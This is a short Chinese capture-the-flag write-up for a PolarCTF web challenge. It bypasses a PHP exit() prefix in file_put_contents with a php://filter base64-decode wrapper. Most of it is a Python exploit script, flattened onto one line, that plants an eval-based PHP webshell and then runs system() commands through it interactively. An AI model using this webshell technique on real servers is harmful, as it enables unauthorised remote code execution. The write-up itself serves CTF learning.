Polar Web【中等】写shell
Contents
- Polar Web【中等】写shell
- 思路&探索
- EXP
- 运行&总结
思路&探索
初看题目,预测需要对站点写入木马,具体操作需要在过程中逐步实现。
- 打开站点(见下图),出现
file_put_contents
函数,其中接收GET
参数filename
- 同时发现存在半封闭形式的PHP代码
exit()
会导致直接退出程序,其后又连接一个POST
参数content
,符合死亡绕过的特征,因此考虑使用php://
伪协议中的base64解码器来写入木马- 本文采用脚本方式实现木马的绕过、写入以及Webshell的交互逻辑
EXP
from requests import post, get
import base64def attack(url, cmd):data = {'cmd': cmd}resp = post(url, data).textif resp:print(resp)else:print("Nothing...")def insert_shell(url):sh = '<?php @eval($_POST["cmd"]);?>'sh = '0' + base64.b64encode(sh.encode()).decode() # base64加密结果前需要引入编码范围内的任意字符,data = {'content': sh,}url_ = url + '?filename=php://filter/convert.base64-decode/resource=404.php' # 文件名自定义_ = post(url=url_, data=data)print(url + '404.php')if get(url + '404.php').content:return 1else:return 0if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/'if insert_shell(u):print(">> Insert success!\n")u += '404.php'while True:command = input(">> ")if command == 'quit':breakcommand = 'system("' + command + '");'attack(url=u, cmd=command)else:print("Insert Fail..")
运行&总结
- 注意首页PHP代码中半封闭的那部分代码,需要在
base64
编码结果前插入hex
范围内的任一字符,或者直接采用人为封闭并另起PHP代码块的方式,而本文采用的是前者。 - 本文也随即演示了
base64
编码在Python中的实现方式。